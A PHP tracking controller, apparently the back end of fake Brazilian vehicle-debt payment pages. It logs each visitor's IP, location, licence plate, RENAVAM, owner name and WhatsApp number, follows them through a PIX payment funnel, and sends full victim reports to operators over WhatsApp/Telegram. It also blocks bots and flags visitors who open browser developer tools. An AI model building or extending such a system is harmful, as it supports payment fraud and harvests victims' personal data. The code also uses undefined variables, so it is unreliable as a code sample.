<?php
namespace Controllers;

use Core\Request;
use Core\Response;
use Core\Notification;

class TrackController {
    public static function record() {
        $json = file_get_contents('php://input');
        $data = json_decode($json, true) ?? array_merge($_POST, $_GET);
        
        $apiKey = $data['api_key'] ?? Request::apiKey();
        if (!$apiKey) return;

        // USAR CONEXÃO CENTRALIZADA (Garante Timezone e Estabilidade)
        $pdo = getDBConnection();

        $stmt = $pdo->prepare("SELECT id, name FROM sites WHERE api_key = ? AND is_active = 1");
        $stmt->execute([$apiKey]);
        $site = $stmt->fetch();
        if (!$site) return;

        $siteId = $site['id'];
        $eventType = $data['event_type'] ?? $data['action'] ?? 'track';
        
        // Captura inicial do IP do cliente
        $rawIp = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
        if (strpos($rawIp, ',') !== false) $rawIp = trim(explode(',', $rawIp)[0]);

        // PRIORIDADE MÁXIMA: Se o frontend enviou um IP capturado (IPv4), use-o!
        $capturedIp = $data['captured_ip'] ?? $data['metadata']['forced_ipv4'] ?? $data['ip_details']['query'] ?? null;
        
        if ($capturedIp && strpos($capturedIp, '.') !== false && $capturedIp !== '127.0.0.1') {
            $rawIp = $capturedIp;
        }

        // BLOQUEIO ABSOLUTO DE LOCALHOST (Apenas se não houver IP capturado real)
        $isLocal = ($rawIp === '127.0.0.1' || $rawIp === '::1' || $rawIp === 'localhost');
        $isDiagnostic = (strpos($_SERVER['HTTP_USER_AGENT'] ?? '', 'NexusProBot') !== false);
        
        if ($isLocal && !$isDiagnostic) {
            Response::json(['status' => 'success', 'message' => 'Internal localhost ignored (No captured IP)']);
            exit;
        }

        // Consulta detalhada via ip-api.com
        $geoInfo = getDetailedIPInfo($rawIp);
        $ip = $rawIp;

        // Se o geoInfo retornou um IPv4 diferente/mais limpo, usamos ele
        if (isset($geoInfo['query']) && strpos($geoInfo['query'], ':') === false) {
            $ip = $geoInfo['query'];
        }

        $uaRaw = $data['ua'] ?? $data['user_agent'] ?? $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
        $metadataRaw = $data['metadata'] ?? [];
        $metadataRaw['ip_details'] = $geoInfo;

        // Se o UA for o do nosso Bot de rastreio, tenta pegar o UA real de dentro do metadata
        if ((strpos($uaRaw, 'NexusProBot') !== false || $uaRaw === 'Unknown') && isset($metadataRaw['user_agent'])) {
            $uaRaw = $metadataRaw['user_agent'];
        }
        
        // Diagnóstico: Permite bypass para o Bot de Teste
        $isDiagnostic = (strpos($uaRaw, 'NexusProBot') !== false);

        $uaInfo = self::parseUA($uaRaw);
        
        // PRIORIDADE: Usa o visitor_id enviado pelo tracker ou gera um baseado no IP
        $visitorId = $data['visitor_id'] ?? null;
        if (empty($visitorId) || $visitorId === 'null') {
            $visitorId = 'v_' . substr(md5($ip . $uaRaw), 0, 16);
        }

        $placa = $data['placa'] ?? $metadataRaw['placa'] ?? null;

        // Tenta unificar a sessão se o visitor_id for novo mas o IP/Site baterem com uma visita recente
        if ($placa && $eventType === 'consulta_placa') {
            try {
                $stmtLink = $pdo->prepare("SELECT visitor_id FROM consultas WHERE ip_address = ? AND site_id = ? AND status_consulta = 'aguardando' AND updated_at > DATE_SUB(NOW(), INTERVAL 30 MINUTE) LIMIT 1");
                $stmtLink->execute([$ip, $siteId]);
                $oldVid = $stmtLink->fetchColumn();
                if ($oldVid && $oldVid !== $visitorId) {
                    // Atualiza o visitor_id para o antigo para manter o histórico, ou vice-versa. 
                    // Aqui vamos forçar o uso do NOVO visitor_id no registro antigo para preservar a lógica de placa única.
                    $stmtMigrate = $pdo->prepare("UPDATE consultas SET visitor_id = ? WHERE visitor_id = ? AND site_id = ?");
                    $stmtMigrate->execute([$visitorId, $oldVid, $siteId]);
                }
            } catch (\Exception $e) {}
        }

        // 1. Log Bruto
        try {
            $stmt = $pdo->prepare("INSERT INTO events (site_id, event_type, visitor_id, ip_address, user_agent, geo_city, geo_country, placa, metadata) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)");
            $stmt->execute([$siteId, $eventType, $visitorId, $ip, $uaRaw, $geoInfo['city'] ?? 'Brasil', $geoInfo['countryCode'] ?? 'BR', $placa, json_encode($metadataRaw)]);
        } catch (\Exception $e) { }

        // 2. Dashboard Consolidado e Redirecionamento Inteligente
        try {
            // Verificar se deve redirecionar (IP + Placa já confirmados)
            $placa = $data['placa'] ?? $metadataRaw['placa'] ?? null;
            $shouldRedirect = false;
            
            if ($placa && $eventType === 'visit') {
                $stmtCheck = $pdo->prepare("SELECT id FROM consultas WHERE ip_address = ? AND placa = ? AND status_pagamento = 'pix_confirmado' LIMIT 1");
                $stmtCheck->execute([$ip, $placa]);
                if ($stmtCheck->fetch()) {
                    $shouldRedirect = true;
                }
            }

            $isSecurityEvent = in_array($eventType, ['geo_block', 'bot_detected', 'rate_limit', 'security_violation', 'ddos_attack', 'security_bypass_attempt']);
            
            if ($isSecurityEvent) {
                $statusConsulta = 'bloqueado';
            } elseif ($eventType === 'redirecionado') {
                $statusConsulta = 'redirecionado';
            } elseif ($eventType === 'pix_confirmado' || $eventType === 'pix_pago' || $eventType === 'pix_confirmado_click') {
                $statusConsulta = 'concluido';
            } else {
                $statusConsulta = ($eventType === 'consulta_placa' || $eventType === 'visit') ? ($eventType === 'visit' ? 'aguardando' : 'consultado') : 'aguardando';
            }
            
            $statusPagamento = ($eventType === 'pix_gerado') ? 'pix_gerado' : (($eventType === 'pix_confirmado' || $eventType === 'pix_pago' || $eventType === 'pix_confirmado_click') ? 'pix_confirmado' : 'aguardando');
            
            // REMOVIDO AUTO-BLOCK IP PARA PERMITIR TESTES E MÚLTIPLAS CAPTURAS
            /*
            if ($statusPagamento === 'pix_confirmado') {
                try {
                    $stmtBlock = $pdo->prepare("INSERT IGNORE INTO site_ip_rules (site_id, ip_address, rule_type, reason) VALUES (?, ?, 'blacklist', 'Pagamento Confirmado')");
                    $stmtBlock->execute([$siteId, $ip]);
                } catch (\Exception $e) {}
            }
            */

            $renavam = $data['renavam'] ?? $metadataRaw['renavam'] ?? null;
            $whatsapp = $data['whatsapp'] ?? $metadataRaw['whatsapp'] ?? null;
            $proprietario = $data['proprietario'] ?? $metadataRaw['proprietario'] ?? null;
            $modelo = $data['modelo'] ?? $metadataRaw['modelo'] ?? null;
            
            $metaJson = json_encode($metadataRaw);

            // Mapeamento de timestamps por evento (Flexível)
            $timestampUpdates = "";
            $isVisit = in_array($eventType, ['visit', 'page_view', 'index_view']);
            $isQuery = in_array($eventType, ['consulta_placa', 'placa_search', 'consulta_realizada']);
            $isPixGen = in_array($eventType, ['pix_gerado', 'pix_generated', 'payment_start']);
            $isPixCopy = in_array($eventType, ['pix_copiado', 'pix_copied', 'pix_codigo_copiado']);
            $isConfirm = in_array($eventType, ['pix_confirmado_click', 'pix_confirmado', 'pix_pago']);

            if ($isVisit) $timestampUpdates = ", visit_at = IF(visit_at IS NULL, NOW(), visit_at)";
            elseif ($isQuery) $timestampUpdates = ", query_at = NOW()";
            elseif ($isPixGen) $timestampUpdates = ", pix_gen_at = NOW()";
            elseif ($isPixCopy) $timestampUpdates = ", pix_copy_at = NOW()";
            elseif ($isConfirm) $timestampUpdates = ", confirm_at = NOW()";

            $sql = "INSERT INTO consultas (site_id, visitor_id, ip_address, user_agent, geo_city, device, status_consulta, status_pagamento, placa, renavam, modelo, proprietario, whatsapp, valor, total_debitos, metadata, visit_at)
                    VALUES (:sid, :vid, :ip, :ua, :city, :dev, :status, :pay, :placa, :ren, :mod, :prop, :whats, :val, :tot, :meta, NOW())
                    ON DUPLICATE KEY UPDATE 
                        updated_at = NOW(),
                        ip_address = VALUES(ip_address),
                        user_agent = VALUES(user_agent),
                        placa = IF(VALUES(placa) != '' AND VALUES(placa) IS NOT NULL, VALUES(placa), placa),
                        renavam = IF(VALUES(renavam) != '' AND VALUES(renavam) IS NOT NULL, VALUES(renavam), renavam),
                        modelo = IF(VALUES(modelo) != '' AND VALUES(modelo) IS NOT NULL, VALUES(modelo), modelo),
                        proprietario = IF(VALUES(proprietario) != '' AND VALUES(proprietario) IS NOT NULL, VALUES(proprietario), proprietario),
                        whatsapp = IF(VALUES(whatsapp) != '' AND VALUES(whatsapp) IS NOT NULL, VALUES(whatsapp), whatsapp),
                        valor = IF(VALUES(valor) > 0, VALUES(valor), valor),
                        total_debitos = IF(VALUES(total_debitos) > 0, VALUES(total_debitos), total_debitos),
                        status_consulta = IF(VALUES(status_consulta) != 'aguardando', VALUES(status_consulta), status_consulta),
                        status_pagamento = IF(VALUES(status_pagamento) != 'aguardando', VALUES(status_pagamento), status_pagamento),
                        metadata = JSON_MERGE_PATCH(IFNULL(metadata, '{}'), VALUES(metadata)),
                        geo_city = VALUES(geo_city),
                        device = VALUES(device)
                        $timestampUpdates";

            $stmt = $pdo->prepare($sql);
            $stmt->execute([
                ':sid' => $siteId, ':vid' => $visitorId, ':ip' => $ip, ':ua' => $uaRaw,
                ':city' => $geoInfo['city'] ?? 'Brasil', ':dev' => $uaInfo['device'],
                ':status' => $statusConsulta, ':pay' => $statusPagamento,
                ':placa' => $placa, ':ren' => $renavam, ':mod' => $modelo, ':prop' => $proprietario, ':whats' => $whatsapp, 
                ':val' => $valor,
                ':tot' => $totalDebitos,
                ':meta' => $metaJson
            ]);

            if ($shouldRedirect) {
                Response::json(['status' => 'success', 'visitor_id' => $visitorId, 'redirect' => true]);
                exit;
            }
        } catch (\Exception $e) {
            error_log("DASHBOARD INSERT ERROR: " . $e->getMessage());
        }

        // 3. Notificação Externa (WhatsApp/Telegram)
        try {
            $siteName = $site['name'] ?? 'Site';
            $notifMsg = "";
            
            // Busca dados atuais do banco para garantir que o relatório não perca informações em eventos parciais (ZAP/PIX PAGO)
            $stmtFull = $pdo->prepare("SELECT * FROM consultas WHERE ip_address = ? AND site_id = ? AND updated_at > DATE_SUB(NOW(), INTERVAL 1 HOUR) LIMIT 1");
            $stmtFull->execute([$ip, $siteId]);
            $dbData = $stmtFull->fetch();
            
            $lastWaKey = null;
            if ($dbData && $dbData['metadata']) {
                $metaDb = json_decode($dbData['metadata'], true);
                $lastWaKey = $metaDb['last_wa_key'] ?? null;
                
                // Merge dos dados do banco com os dados da requisição atual para o relatório
                $placa = $placa ?: ($dbData['placa'] ?? null);
                $renavam = $renavam ?: ($dbData['renavam'] ?? null);
                $modelo = $modelo ?: ($dbData['modelo'] ?? null);
                $proprietario = $proprietario ?: ($dbData['proprietario'] ?? null);
                $whatsapp = $whatsapp ?: ($dbData['whatsapp'] ?? null);
                $valor = ($valor > 0) ? $valor : (float)($dbData['valor'] ?? 0);
                
                if (empty($metadataRaw['extrato']) && !empty($metaDb['extrato'])) {
                    $metadataRaw['extrato'] = $metaDb['extrato'];
                }
                if (empty($metadataRaw['debitos']) && !empty($metaDb['debitos'])) {
                    $metadataRaw['debitos'] = $metaDb['debitos'];
                }
                if (empty($metadataRaw['extratoDebitos']) && !empty($metaDb['extratoDebitos'])) {
                    $metadataRaw['extratoDebitos'] = $metaDb['extratoDebitos'];
                }
                if (!isset($metadataRaw['total_veiculo']) && isset($metaDb['total_veiculo'])) {
                    $metadataRaw['total_veiculo'] = $metaDb['total_veiculo'];
                }
            }

            // Formatação do Relatório Completo (Base para Evolução)
            $totalDivida = $metadataRaw['total_veiculo'] ?? $valor;
            $extrato = $metadataRaw['extrato'] ?? $metadataRaw['debitos'] ?? $metadataRaw['extratoDebitos'] ?? [];
            $ignorados = $metadataRaw['debitos_ignorados'] ?? [];
            $nowStr = date('d/m/Y, H:i:s');

            $reportHeader = "📝 *DETALHES DA CONSULTA*\n\n";
            $reportHeader .= "*Informações do Veículo*\n";
            $reportHeader .= "Placa: " . ($placa ?: '-') . "\n";
            $reportHeader .= "Renavam: " . ($renavam ?: '-') . "\n";
            $reportHeader .= "Modelo: " . ($modelo ?: '-') . "\n";
            $reportHeader .= "Proprietário: " . ($proprietario ?: '-') . "\n\n";
            
            if ($valor > 0) {
                $reportHeader .= "Total da Dívida: R$ " . number_format((float)$totalDivida, 2, ',', '.') . "\n";
                $reportHeader .= "Valor do DARJ: R$ " . number_format($valor, 2, ',', '.') . "\n\n";
            }

            $reportContact = "*WhatsApp de Contato*\n" . ($whatsapp ?: 'Pendente') . "\n\n";
            
            $reportOrigin = "*Origem e Dispositivo*\n";
            $reportOrigin .= "Site: $siteName\n";
            $reportOrigin .= "IP: $ip\n";
            $reportOrigin .= "Cidade: " . ($geoInfo['city'] ?? 'Brasil') . "\n";
            $reportOrigin .= "Provedor: " . ($geoInfo['isp'] ?? '-') . "\n";
            $reportOrigin .= "Dispositivo: {$uaInfo['device']}\n\n";
            
            $reportUA = "*Full User Agent*\n$uaRaw\n\n";

            $reportItems = "";
            if (!empty($extrato)) {
                $reportItems .= "*Detalhamento dos Débitos*\n";
                $reportItems .= "Descrição | Vencimento | Valor\n";
                foreach($extrato as $item) {
                    $desc = $item['descricao'] ?? $item['titulo'] ?? $item['title'] ?? 'Item';
                    $venc = $item['vencimento'] ?? $item['date'] ?? '-';
                    $vItem = isset($item['valor']) ? "R$ ".number_format((float)$item['valor'], 2, ',', '.') : (isset($item['amountBruto']) ? "R$ ".number_format((float)$item['amountBruto'], 2, ',', '.') : "-");
                    $pagoStatus = ($item['pago'] ?? true) ? "✅" : "❌";
                    $reportItems .= "$pagoStatus $desc | $venc | $vItem\n";
                }
                $reportItems .= "\n";
            }

            $reportFooter = "*Status do Funil*\n";
            $reportFooter .= "Consultado em $nowStr\n";

            switch($eventType) {
                case 'visit':
                    $notifMsg = "👀 *NOVA VISITA*\nSite: $siteName\n$nowStr\n{$uaInfo['device']} | " . ($geoInfo['city'] ?? 'Brasil') . "\nIP: $ip";
                    break;
                case 'consulta_placa':
                case 'renavam_consulta':
                case 'consulta_iniciada':
                case 'whatsapp_adicionado': // Evento vindo do site RJ
                case 'whatsapp_captured': // Fallback para outros sites
                case 'pix_gerado':
                    $statusFunil = ($eventType === 'pix_gerado') ? "💰 PIX Gerado" : (($eventType === 'whatsapp_adicionado' || $eventType === 'whatsapp_captured') ? "📱 WhatsApp Adicionado" : "🔍 Pesquisando");
                    $notifMsg = $reportHeader . $reportContact . $reportOrigin . $reportUA . $reportItems . $reportFooter . $statusFunil;
                    break;
                case 'pix_confirmado':
                case 'pix_pago':
                    $notifMsg = $reportHeader . $reportContact . $reportOrigin . $reportUA . $reportItems . $reportFooter . "✅ *PIX CONFIRMADO*";
                    break;
                case 'security_bypass_attempt':
                    $notifMsg = "🛡️ *TENTATIVA DE BYPASS (F12)*\nSite: $siteName\nIP: $ip\nMotivo: {$metadataRaw['reason']}";
                    break;
            }

            if (!empty($notifMsg)) {
                $newKey = Notification::send($notifMsg, $lastWaKey);
                
                // Se recebemos uma Key (novo envio), salvamos no metadata para a próxima edição
                if ($newKey) {
                    $metaUpdate = json_encode(['last_wa_key' => $newKey]);
                    $stmtUpdate = $pdo->prepare("UPDATE consultas SET metadata = JSON_MERGE_PATCH(IFNULL(metadata, '{}'), ?) WHERE visitor_id = ? AND site_id = ?");
                    $stmtUpdate->execute([$metaUpdate, $visitorId, $siteId]);
                }
            }
        } catch (\Exception $e) {
            error_log("Notification Trigger Error: " . $e->getMessage());
        }

        Response::json(['status' => 'success', 'visitor_id' => $visitorId]);
        exit;
    }

    public static function getIpDetails() {
        $ip = $_GET['ip'] ?? $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? '';
        if (strpos($ip, ',') !== false) $ip = trim(explode(',', $ip)[0]);
        
        $info = getDetailedIPInfo($ip);
        Response::json($info);
    }

    private static function parseUA($ua) {
        $device = "Desktop";
        if (preg_match('/(tablet|ipad|playbook)|(android(?!.*mobi))/i', $ua)) $device = "Tablet";
        elseif (preg_match('/(up.browser|up.link|mmp|symbian|smartphone|midp|wap|phone|android|iemobile|iphone|ipod)/i', $ua)) $device = "Mobile";
        return ['device' => $device];
    }

    private static function getEnhancedGeo($ip) {
        return getDetailedIPInfo($ip);
    }
}
